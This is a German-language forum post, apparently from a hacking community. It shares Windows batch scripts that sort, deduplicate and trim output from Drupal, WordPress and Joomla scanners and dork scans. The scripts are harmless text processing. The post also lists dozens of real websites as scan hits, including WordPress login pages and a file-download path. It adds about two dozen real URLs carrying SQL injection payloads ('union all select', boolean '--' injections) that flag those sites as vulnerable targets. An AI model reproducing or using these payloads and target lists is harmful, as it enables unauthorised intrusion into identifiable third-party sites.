Diverse Scanresults bearbeiten (sortieren - entfernen - hinzufügen) Teil 2

Hier mal für WINDOWS: Drupal: drupal.bat @echo off SET "quell_datei=log_drupal.txt" SET "test_datei1=test1.txt" SET "test_datei2=test2.txt" SET "Bak=.bak" SET /a LineNo=0...

Hier mal für WINDOWS:

Drupal:


drupal.bat

Kod:
@echo off

SET "quell_datei=log_drupal.txt"
SET "test_datei1=test1.txt"
SET "test_datei2=test2.txt"
SET "Bak=.bak"
SET /a LineNo=0
SET "ziel_datei=log_drupal.txt"

:: alles nach dem Port löschen http://70.35.194.188:80 ['admin'] -> http://70.35.194.188:80
for /F %%i in (%quell_datei%) do echo %%i >> %test_datei1%

:: Leerzeichen am Ende entfernen
for /F "tokens=1 delims= " %%i in (%test_datei1%) do @echo %%i>>%test_datei2%

del %quell_datei%
del %test_datei1%

echo off & setlocal

move "%test_datei2%" "%test_datei2%%Bak%"
copy nul "%test_datei2%">nul
for /f "usebackq delims=" %%i in ("%test_datei2%%Bak%") do set "Zeile=%%i" & call :ProcessLine
del "%test_datei2%%Bak%"
goto :weiter

:ProcessLine
set /a LineNo+=1
echo Validiere Zeile %LineNo% ...
findstr /I /xc:"%Zeile%" "%test_datei2%">nul || >>"%test_datei2%" echo %Zeile%
goto :eof

:weiter
copy %test_datei2% %ziel_datei%
del %test_datei2%

Worpress:

wordpress.bat

Kod:
@echo off

SET "quell_datei=log_wordpress.txt"
SET "test_datei1=test1.txt"
SET "test_datei2=test2.txt"
SET "Bak=.bak"
SET /a LineNo=0
SET "ziel_datei1=log_wordpress_all.txt"
SET "ziel_datei2=log_worpress_login.txt"

:: alles nach dem Port löschen http://70.35.194.188:80 ['admin'] -> http://70.35.194.188:80
for /F %%i in (%quell_datei%) do echo %%i >> %test_datei1%

:: Leerzeichen am Ende entfernen ausgabe log_wordpress_all.txt
for /F "tokens=1 delims= " %%i in (%test_datei1%) do @echo %%i>>%test_datei2%

:: Doppelte Zeilen entfernen
echo off & setlocal

move "%test_datei2%" "%test_datei2%%Bak%"
copy nul "%test_datei2%">nul
for /f "usebackq delims=" %%i in ("%test_datei2%%Bak%") do set "Zeile=%%i" & call :ProcessLine
del "%test_datei2%%Bak%"
goto :weiter

:ProcessLine
set /a LineNo+=1
echo Validiere Zeile %LineNo% ...
findstr /I /xc:"%Zeile%" "%test_datei2%">nul || >>"%test_datei2%" echo %Zeile%
goto :eof

:weiter
copy %test_datei2% %ziel_datei1%
del %test_datei2%

@echo off

:: ausgabe log_wordpress_login.txt
type %ziel_datei1% | find /i "wp-login.php" >> %ziel_datei2%

del %test_datei1%

Joomla:


joomla.bat

Kod:
@echo off

SET "quell_datei=log_joomla.txt"
SET "test_datei1=test1.txt"
SET "test_datei2=test2.txt"
SET "Bak=.bak"
SET /a LineNo=0
SET "ziel_datei=log_joomla.txt"

:: alles nach dem Port löschen http://70.35.194.188:80 ['admin'] -> http://70.35.194.188:80
for /F %%i in (%quell_datei%) do echo %%i >> %test_datei1%

:: Leerzeichen am Ende entfernen
for /F "tokens=1 delims= " %%i in (%test_datei1%) do @echo %%i>>%test_datei2%

del %quell_datei%
del %test_datei1%

:: Doppelte Zeilen entfernen
echo off & setlocal

move "%test_datei2%" "%test_datei2%%Bak%"
copy nul "%test_datei2%">nul
for /f "usebackq delims=" %%i in ("%test_datei2%%Bak%") do set "Zeile=%%i" & call :ProcessLine
del "%test_datei2%%Bak%"
goto :weiter

:ProcessLine
set /a LineNo+=1
echo Validiere Zeile %LineNo% ...
findstr /I /xc:"%Zeile%" "%test_datei2%">nul || >>"%test_datei2%" echo %Zeile%
goto :eof

:weiter
copy %test_datei2% %ziel_datei%
del %test_datei2%


wenn ihr Dork Scanns habt die so aussehen

[HIDE-REPLY-THANKS]
https://askubuntu.com/questions/tagged/apache2?page=&sort=
https://www.immo-weishaeupl.de/index.php?option=&view=&Itemid=
http://www.devnetwork.net/viewtopic.php?t=&view=
https://www.pfo-anwaelte.de/index.php?option=&view=&cid=&id=&Itemid=
http://www.klksig.de/index.php?option=&view=&cid=&id=&Itemid=
https://netzwerk-mode-textil.de/index.php?option=&view=&cid=&Itemid=&lang=
http://www.pinegrovebiblechurch.org/wp-content/themes/NativeChurch/download/download.php?file=
https://riversideparkumc.com/index.Php?option=&view=&id=&task=&Itemid=
http://marktplatz.debreuyn.de/index.php?option=&view=&cid=&id=&Itemid=
http://www.dorsettshoalschurch.com/wp-content/themes/NativeChurch/download/download.php?file=
https://www.almwirtschaft.com/index.php?option=&view=&cid=&id=&Itemid=
http://www.kfzwuppertal.de/index.php?option=&view=&cid=&Itemid=
https://elblandjobs.de/index.php?option=&view=&cid=
https://www.sankt-michaelis.de/index.php?option=&view=&cid=&Itemid=
http://www.emc-web.com/J_emc/index.php?option=&view=&cid=&Itemid=
http://dason.com.vn/main.php?frame=&id=
http://www.hp-haefner.de/index.php?option=&view=&cid=&id=
http://www.lewinscy-nieruchomosci.pl/index.php?option=&view=&cid=&id=&Itemid=
https://thevirtuallibrary.org/index.php?option=&format=&view=&task=&fid=
https://www.recrutis-agency.com/index.php?option=&format=&view=&task=&fid=
https://www.diakonie-auerbach.de/index.php?option=&view=&id=&catid=
https://www.donostiakultura.eus/index.php?option=&view=&cid=&id=&Itemid=&lang=
https://www.rs-jestetten.de/rsj/index.php?option=&view=&id=&Itemid=
https://www.rwh90.de/homepage2/index.php?option=&view=&id=&Itemid=&format=&type=
https://www.lernen-bohlscheid.de/index.php?option=&view=&layout=&cid=&Itemid=
https://www.motorsscout.com/index.php?option=&view=&cid=&id=&Itemid=


Oder solche


http://www.nichegardens.com/catalog/item.php?id=1235999999.9 union all select [t],2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35
http://www.hier.iif.hu/hu/educatio_reszletes.php?id=[t]
http://www.czga.ro/pagina.php?id=10' and [t] and '0'='1--
http://coda.cc/product/product.php?id=4999999.9 union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13
http://www.dearbell.com/info.php?id=1970999999.9 union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
http://www.patiosur.com/Products.php?CatID=11999999.9 union all select [t],2,3,4,5
https://healthglows.net/books.php?id=[t]
http://www.walpax.com.br/beachresorts.php?id=100999999.9 union all select 1,[t],3,4,5,6,7
http://rk-ny.org/whatsnew.php?id=62999999.9 union all select 1,2,3,[t],5,6,7,8,9,10
http://veteriner.org.tr/tr/manset.php?id=46999999.9 union all select null,[t],null,null
http://www.suesupriano.com/article.php?id=25999999.9 union all select [t],2
http://www.derekfell.net/display.php?CatID=76999999.9 union all select [t]
http://www.lovellhall.com/product_list.php?cat=37999999.9 union all select 1,2,[t],4,5,6,7
http://www.kvm.co.ke/products.php?id=1' and [t] and '0'='1--
http://testphp.vulnweb.com/listproducts.php?cat=2999999.9 union all select 1,2,3,4,5,6,7,8,9,10,[t]
http://www.dailypakistan.pk/e-paper/newsdetail.php?id=9999999.9 union all select null,null,[t],null,null,null,null
https://www.ryncoorchids.com/product.php?id=3999999.9 union all select 1,[t],3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35
http://www.freescience.info/books.php?id=[t]
https://www.exoticfever.com/artists.php?id=[t]
http://www.fantco.com/products-category.php?cid=2999999.9 union all select [t],2,3,4
http://www.sleemans.co.uk/category.php?cat_id=15999999.9 union all select 1,[t],3,4,5
http://www.yelaw.net/category.php?catid=1999999.9 union all select 1,[t],3,4,5,6
http://www.aab.it/default.php?idhparea=83999999.9 union all select [t]
/HIDE-REPLY-THANKS]


werden zu normalen url,s

So


[HIDE-REPLY-THANKS]
http://www.microtechinno.com/
http://www.amspecinc.com/
http://www.asfaa.org/
http://www.dskjewelry.com/
https://www.webscantest.com/
https://www.bigdayentertainment.com/
http://www.laurenstanley.com/
https://c2-europe.eu/
http://www.indiandiasporacouncil.org/
https://www.houellebecq.info/
http://www.cordoganclark.com/
http://theoinkster.com/
http://www.evolutiontoys.com.ar/
http://www.sandexgroup.com/
http://kansascitynova.org/
https://www.mozartways.com/
http://www.faduelos.com/
http://www.splendid.hk/
http://www.deportespachuca.com/
[/HIDE-REPLY-THANKS]

So hab mal was gebastelt (dorks.bat) oder wie auch immer:

Kod:
@echo off

set "quell_datei=test.txt"
set "temp_datei=temp.txt"
set "ziel_datei=test1.txt"

for /f "tokens=1,2 delims=/" %%i in (%quell_datei%) do echo %%i %%j >> %temp_datei%

setlocal enabledelayedexpansion

:1
set "suchen_nach1=http: "
set "ersetzen_durch1=http://"
set "suchen_nach2=https: "
set "ersetzen_durch2=https://"
set "suchen_nach3= "
set "ersetzen_durch3=/"

REM Ausgabe einer Fehlermeldung und Programmabbruch
REM falls die Variable "suchen_nach*" nicht definiert ist
if not defined suchen_nach1 (ECHO Fehler: Die Variable suchen_nach1 nicht definiert^^!&GOTO :eof)
if not defined suchen_nach2 (ECHO Fehler: Die Variable suchen_nach2 nicht definiert^^!&GOTO :eof)
if not defined suchen_nach3 (ECHO Fehler: Die Variable suchen_nach3 nicht definiert^^!&GOTO :eof)

REM Quell-Datei zeilenweise auslesen
REM und in Variable "zeile" schreiben
for /f "delims=" %%i in ('FINDSTR . "%temp_datei%"') do (
set zeile=%%i& CALL :ersetzen !zeile!
)
goto :weiter

:ersetzen
REM innerhalb der Variable "zeile"
REM den Inhalt der Variable "suchen_nach1" suchen
REM und diese durch den Inhalt der Variable "ersetzen_durch" ersetzen
set zeile=!zeile:%suchen_nach1%=%ersetzen_durch1%!
set zeile=!zeile:%suchen_nach2%=%ersetzen_durch2%!
set zeile=!zeile:%suchen_nach3%=%ersetzen_durch3%!

REM Inhalt der Variable "zeile" in die Ausgabedatei schreiben
if [!zeile!] EQU [] (ECHO.>>%ziel_datei%) else (ECHO !zeile!>>%ziel_datei%)
goto :eof


Abändern musst du nur die *.txt files wie du es brauchst:

set "quell_datei=test.txt"[/HIDE-REPLY-THANKS]
[HIDE-REPLY-THANKS]
set "temp_datei=temp.txt"
set "ziel_datei=test1.txt"


Geht bestimmt auch noch einfacher. Aber auf die schnelle fällt mir leider nix ein :Biggrin:
[/hide-reply-thanks]
[HIDE-REPLY-THANKS][/hide-reply-thanks]
 
131,836Konular
3,271,862Mesajlar
316,343Kullanıcılar
kdr338Son Üye
Üst Alt